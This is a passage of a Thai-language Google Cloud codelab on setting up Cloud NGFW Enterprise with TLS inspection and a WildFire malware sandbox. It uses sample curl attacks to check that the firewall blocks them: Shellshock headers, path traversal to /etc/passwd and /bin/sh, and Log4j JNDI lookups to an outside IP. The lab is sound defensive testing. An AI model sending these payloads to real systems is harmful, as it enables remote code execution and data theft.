curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
ตัวอย่างผลลัพธ์ที่คาดหวัง (ปลายทางอินเทอร์เน็ต):
400 404 400 403 403
ออกจากเทอร์มินัล VM และกลับไปที่ Cloud Shell
9. สร้างและอัปเดตกฎไฟร์วอลล์สำหรับการตรวจสอบ TLS
ก่อนหน้านี้ เราได้กำหนดค่ากฎไฟร์วอลล์เพื่ออนุญาตการรับส่งข้อมูลขาเข้าไปยังเซิร์ฟเวอร์จากซับเน็ตภายใน ตอนนี้เราจะอัปเดตกฎขาเข้าที่มีอยู่และตั้งค่าการดำเนินการเป็น apply_security_profile_group การดำเนินการนี้จะเปิดใช้การตรวจสอบ L7 แบบตะวันออก/ตะวันตกด้วย TLS
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
สร้างกฎใหม่เพื่อตรวจสอบการตรวจสอบ L7 ขาออกด้วย TLS
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
สร้างกฎใหม่เพื่ออนุญาต EGRESS สำหรับ E/W เพื่อป้องกันการตรวจสอบซ้ำ
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. กำลังตรวจสอบการตรวจสอบ TLS ขาออก
สลับกลับไปที่แท็บ VM ของไคลเอ็นต์หรือเชื่อมต่ออีกครั้งโดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
ส่งการโจมตีตัวอย่างไปยังปลายทางอินเทอร์เน็ตโดยทำดังนี้
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
ไม่ได้รับการตอบกลับตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าการโจมตีตัวอย่างถูกบล็อกแล้ว
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
ตั้งค่าตัวแปรเป็น IP ของเซิร์ฟเวอร์จากก่อนหน้านี้ ดังนี้
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
ส่งคำขอ TLS ตัวอย่างไปยังเซิร์ฟเวอร์โดยทำดังนี้
curl https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดหวัง:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
เหตุใดคำขอนี้จึงไม่สำเร็จ เนื่องจากไฟร์วอลล์ได้รับใบรับรองจากเซิร์ฟเวอร์ที่ไม่น่าเชื่อถือ หากเกิดกรณีนี้ขึ้น ระบบจะส่งใบรับรองแบบ Self-signed กลับไปยังไคลเอ็นต์ เราต้องเพิ่มใบรับรอง CA เป็นส่วนหนึ่งของการกำหนดค่าความเชื่อถือเพื่อเปิดใช้ความเชื่อถือ
กลับไปที่ Cloud Shell
11. กำหนดค่าการกำหนดค่าความน่าเชื่อถือ
รับใบรับรอง CA รูทและตั้งค่าเป็นตัวแปรที่มีการจัดรูปแบบที่เหมาะสม
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
กำหนดค่าไฟล์ YAML ของการกำหนดค่าความน่าเชื่อถือ ไฟล์นี้มีรายละเอียดความน่าเชื่อถือ เช่น ใบรับรอง CA ดังนี้
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
คำสั่งข้างต้นรวมใบรับรอง CA รูทของคุณเป็นส่วนหนึ่งของ Trust Store เนื่องจากใบรับรองเซิร์ฟเวอร์ของคุณได้รับการลงนามโดยใช้ CA รูท ซึ่งหมายความว่าไฟร์วอลล์จะเชื่อถือใบรับรองที่ได้รับซึ่งลงนามโดย CA รูทของคุณ นอกเหนือจาก CA สาธารณะ หากนโยบาย TLS มี excludePublicCaSet เป็นเท็จ
ตรวจสอบเนื้อหาของการกำหนดค่าความน่าเชื่อถือ
cat trust_config.yaml
ตัวอย่างเอาต์พุต
โปรดตรวจสอบการจัดแนวการเยื้องของใบรับรองอย่างละเอียด โดยต้องเป็นไปตามรูปแบบนี้ทุกประการ
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
นำเข้าการกำหนดค่าความน่าเชื่อถือโดยทำดังนี้
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
อัปเดตไฟล์ YAML ของนโยบาย TLS เพื่อรวมการกำหนดค่าความน่าเชื่อถือ ดังนี้
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
นำเข้านโยบาย TLS ที่อัปเดตแล้ว โดยทำดังนี้
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. กำลังตรวจสอบการตรวจสอบ TLS ของ E/W
SSH กลับไปที่ไคลเอ็นต์เพื่อทดสอบการรับส่งข้อมูล E/W ด้วยการกำหนดค่าความน่าเชื่อถือที่อัปเดตแล้ว โดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
เรียกใช้คำขอ TLS ตัวอย่างไปยังเซิร์ฟเวอร์โดยทำดังนี้
curl https://$target_privateip --max-time 2
หากยังคงได้รับเอาต์พุตด้านล่าง โปรดรอให้การอัปเดตเผยแพร่
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
ผลลัพธ์ที่คาดหวัง:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
ส่งการเข้าชมทดสอบที่เป็นอันตรายไปยังเซิร์ฟเวอร์:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดหวัง:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
ไม่ได้รับการตอบกลับตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งเป็นการยืนยันว่าการโจมตีตัวอย่างถูกบล็อกสำหรับ E/W แล้ว
13. การบันทึก
ไปที่การบันทึก > Logs Explorer ผ่าน Cloud Console ป้อนตัวกรองด้านล่าง แล้วค้นหาบันทึก แทนที่ [PROJECT_ID] ด้วย project_id ของคุณ
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
รายการบันทึกของ Cloud NGFW Enterprise ควรมีลักษณะคล้ายกับด้านล่างนี้

ขยายรายการบันทึกและสังเกตว่าระบบระบุและบล็อกการโจมตีที่ส่งจาก VM ของไคลเอ็นต์ไปยังเซิร์ฟเวอร์ (ช่องโหว่ในการเรียกใช้โค้ดจากระยะไกลของ Apache Log4j ตามภาพหน้าจอด้านล่าง)

คุณได้ติดตั้งใช้งาน Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS เพื่อบล็อกคำขอที่เป็นอันตรายเรียบร้อยแล้ว
ไปที่ส่วนถัดไปเพื่อกำหนดค่าและตรวจสอบแซนด์บ็อกซ์มัลแวร์ขั้นสูง (WildFire) (ไม่บังคับ) หรือข้ามไปยังขั้นตอนการล้างข้อมูล
14. [ไม่บังคับ] กำหนดค่า Advanced Malware Sandbox (WildFire)
แซนด์บ็อกซ์มัลแวร์ขั้นสูง (WildFire) ขยายการป้องกันภัยคุกคามของ Cloud NGFW Enterprise โดยการตรวจสอบไฟล์ระหว่างการส่งและส่งไฟล์ที่ไม่รู้จักไปยังแซนด์บ็อกซ์บนระบบคลาวด์ (ขับเคลื่อนโดย Palo Alto Networks Advanced WildFire) เพื่อวิเคราะห์พฤติกรรมเชิงลึก
ยอมรับ EULA ของ Advanced Malware Sandbox
ก่อนเปิดใช้แซนด์บ็อกซ์มัลแวร์ขั้นสูงในปลายทางไฟร์วอลล์ คุณต้องตรวจสอบและยอมรับข้อตกลงการอนุญาตให้ใช้สิทธิสำหรับผู้ใช้ (EULA) แบบครั้งเดียวในโปรเจ็กต์สำหรับการเรียกเก็บเงิน ($billing_project) โดยคุณจะยอมรับ EULA ได้ในคอนโซล Google Cloud เท่านั้น โดยไปที่การรักษาความปลอดภัยของเครือข่าย > ปลายทางไฟร์วอลล์ แก้ไขปลายทาง $prefix-$zone เลือกเปิดใช้แซนด์บ็อกซ์มัลแวร์ขั้นสูง (WildFire) ในส่วนการกำหนดค่าขั้นสูง แล้วคลิกยอมรับและดำเนินการต่อ
เปิดใช้ Advanced Malware Sandbox ในปลายทางไฟร์วอลล์
เปิดใช้แซนด์บ็อกซ์มัลแวร์ขั้นสูงในปลายทางไฟร์วอลล์ $prefix-$zone ที่มีอยู่โดยใช้ gcloud network-security firewall-endpoints update โดยทำดังนี้
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
ตรวจสอบว่าได้เปิดใช้แซนด์บ็อกซ์มัลแวร์ขั้นสูงในปลายทางไฟร์วอลล์แล้ว โดยทำดังนี้
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
ผลลัพธ์ที่คาดหวัง (ยืนยัน wildfireSettings: enabled: true และ state: ACTIVE):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
สร้างและกำหนดค่าโปรไฟล์ความปลอดภัยของ WILDFIRE_ANALYSIS
สร้างโปรไฟล์ความปลอดภัยของแซนด์บ็อกซ์มัลแวร์ขั้นสูง (WILDFIRE_ANALYSIS) ชื่อ $prefix-sp-wildfire โดยทำดังนี้
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
ผลลัพธ์ที่คาดหวัง:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
จากนั้นเพิ่มกฎการส่งแบบอะซิงโครนัสเพื่อส่งไฟล์ APK ทั้งในทิศทางการอัปโหลดและดาวน์โหลด (--direction=BOTH) ดังนี้
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
ผลลัพธ์ที่คาดหวัง:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
ตรวจสอบโปรไฟล์ความปลอดภัย WILDFIRE_ANALYSIS ที่กำหนดค่าไว้โดยทำดังนี้
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
ผลลัพธ์ที่คาดหวัง:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
อัปเดตกลุ่มโปรไฟล์ความปลอดภัย ($prefix-spg)
อัปเดต $prefix-spg เพื่อแนบ $prefix-sp-wildfire:
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
ผลลัพธ์ที่คาดหวัง:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
เนื่องจากกฎนโยบายไฟร์วอลล์ 900 (EGRESS ผ่าน tcp:443 ด้วย --action=apply_security_profile_group และ --tls-inspect) อ้างอิง $prefix-spg อยู่แล้ว การดาวน์โหลดไฟล์ HTTPS ที่เข้ารหัสซึ่งเริ่มต้นจาก $prefix-$zone-client จะได้รับการถอดรหัสโดยอัตโนมัติด้วยการตรวจสอบ TLS และประเมินโดยแซนด์บ็อกซ์มัลแวร์ขั้นสูงโดยไม่จำเป็นต้องเปลี่ยนกฎนโยบายไฟร์วอลล์
15. [ไม่บังคับ] ตรวจสอบการส่งไฟล์และนิติวิทยาศาสตร์ของแซนด์บ็อกซ์มัลแวร์ขั้นสูง
Sandbox แบบอะซิงโครนัสและการกรองประเภทไฟล์
เชื่อมต่อกับ VM ของไคลเอ็นต์ ($prefix-$zone-client) ผ่าน Identity-Aware Proxy (IAP) โดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
จาก VM ของไคลเอ็นต์ ให้ดาวน์โหลดไฟล์ APK ทดสอบสาธารณะของ Palo Alto Networks ผ่าน HTTPS โดยทำดังนี้
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
จากนั้นดาวน์โหลดไฟล์ ELF ทดสอบสาธารณะของ Palo Alto Networks ผ่าน HTTPS โดยทำดังนี้
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
เนื่องจากกฎการส่งของเราใน $prefix-sp-wildfire กำหนดเป้าหมายเฉพาะไฟล์ APK (--file-types=APK) ไฟร์วอลล์จึงไม่ส่งไฟล์ ELF ไปยังแซนด์บ็อกซ์มัลแวร์ขั้นสูง
ออกจากเทอร์มินัล VM ของไคลเอ็นต์และกลับไปที่ Cloud Shell
ยืนยัน WildfireSubmissionLog ใน Cloud Logging
ไปที่การบันทึก > Logs Explorer ผ่าน Cloud Console ป้อนตัวกรองด้านล่าง แล้วค้นหาบันทึก แทนที่ [PROJECT_ID] ด้วย project_id ของคุณ
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
หลังจากที่การวิเคราะห์แซนด์บ็อกซ์เสร็จสมบูรณ์ (โดยปกติจะใช้เวลาไม่กี่นาที) รายการ WildfireSubmissionLog จะปรากฏขึ้นสำหรับการดาวน์โหลดไฟล์ APK ส่วนไม่มีการสร้างบันทึกการส่งสำหรับการดาวน์โหลดไฟล์ ELF (หากไม่มีรายการบันทึกปรากฏขึ้นหลังจากผ่านไปหลายนาที ให้รอจนกว่ากรอบเวลาการเผยแพร่กลุ่มโปรไฟล์ความปลอดภัย 15 นาทีจะเสร็จสมบูรณ์ แล้วเรียกใช้การดาวน์โหลด curl อีกครั้ง) ขยายรายการบันทึกและสังเกตว่าเพย์โหลด JSON มีลักษณะคล้ายกับตัวอย่างต่อไปนี้
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
โปรดสังเกตช่องหลักใน wildfireDetails ดังนี้
fileType: "APK"และsubtype: "WILDFIRE"ยืนยันการวิเคราะห์แซนด์บ็อกซ์แบบอะซิงโครนัสของการโอนAPKfileคือชื่อไฟล์ที่เซิร์ฟเวอร์ (wildfire-test-apk-file.apk) ระบุ ซึ่งอาจแตกต่างจากชื่อไฟล์ในเครื่องที่ใช้กับcurl -ohashระบุไดเจสต์ SHA-256 ที่ไม่ซ้ำกันของตัวอย่างทดสอบverdictและseverityจะกำหนดโดยการวิเคราะห์แซนด์บ็อกซ์reportUriและsampleUriมีลิงก์โดยตรงเพื่อดึงข้อมูลรายงานการวิเคราะห์แบบไดนามิกและตัวอย่างที่ส่งมา
ดูการส่งและดาวน์โหลดอาร์ติแฟกต์ทางนิติวิทยาศาสตร์
ไปที่ความปลอดภัยของเครือข่าย > บันทึก NGFW Enterprise > การส่งแซนด์บ็อกซ์มัลแวร์ขั้นสูงผ่าน Cloud Console แล้วเลือกโปรเจ็กต์ คลิกรายการ wildfire-test-apk-file.apk เพื่อดูรายละเอียดการส่ง รวมถึงแฮช SHA-256 ของไฟล์ คำตัดสิน และปลายทางไฟร์วอลล์ จากการดำเนินการเพิ่มเติมสำหรับการส่ง คุณสามารถเลือกดาวน์โหลดรายงานการวิเคราะห์เพื่อดาวน์โหลดรายงานการวิเคราะห์แบบไดนามิกในรูปแบบ PDF หรือเลือกดาวน์โหลดตัวอย่างมัลแวร์เพื่อดาวน์โหลดไฟล์ที่ส่ง
หรือจะดาวน์โหลดรายงานการวิเคราะห์และตัวอย่างจาก Cloud Shell โดยใช้ค่า reportUri และ sampleUri จากรายการ WildfireSubmissionLog ก็ได้
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
16. ขั้นตอนการล้างข้อมูล
การทำความสะอาดการตั้งค่าฐาน
นำอินสแตนซ์ออกโดยทำดังนี้
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
ทำตามขั้นตอนด้านล่างหากมีการเปลี่ยนแปลงบทบาท tagAdmin และ tagUsers
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
นำคีย์และค่าของแท็กออกโดยทำดังนี้
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
วิธีนำนโยบายเครือข่าย Cloud Firewall และการเชื่อมโยงออก
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
ลบ Cloud Router และ Cloud NAT โดยทำดังนี้
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
วิธีลบที่อยู่ IP ที่จองไว้
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
การล้างข้อมูล SPG, การเชื่อมโยง และ TLS ของ Cloud Firewall
ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์ความปลอดภัยตามลำดับนี้ (หากคุณทำส่วนแซนด์บ็อกซ์มัลแวร์ขั้นสูงซึ่งเป็นขั้นตอนที่ไม่บังคับเสร็จแล้ว ให้เรียกใช้คำสั่งเพื่อลบ $prefix-sp-wildfire หลังจากลบ $prefix-spg แล้วด้วย)
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
ลบการเชื่อมโยงปลายทาง Cloud Firewall โดยทำดังนี้
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
ลบปลายทาง Cloud Firewall ซึ่งอาจใช้เวลาประมาณ 20 นาที โดยทำดังนี้
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
(ไม่บังคับ) ยืนยันว่าปลายทาง Cloud NGFW ถูกลบแล้วโดยเรียกใช้คำสั่งด้านล่าง
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
สถานะของปลายทางควรแสดงดังนี้
STATE: DELETING
เมื่อเสร็จแล้ว ปลายทางจะไม่ปรากฏในรายการอีกต่อไป
ลบนโยบาย TLS และการกำหนดค่าความน่าเชื่อถือตามลำดับต่อไปนี้
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
ปิดใช้และลบ CA รูทและพูล CA โดยทำดังนี้
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
การล้างข้อมูลซับเน็ตและ VPC
สุดท้าย ให้ลบเครือข่ายย่อยและเครือข่าย VPC โดยทำดังนี้
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
17. ยินดีด้วย
ยินดีด้วย คุณทำ Codelab ของ Cloud NGFW Enterprise สำหรับการตรวจสอบ TLS แบบ East-West และ Northbound เสร็จสมบูรณ์แล้ว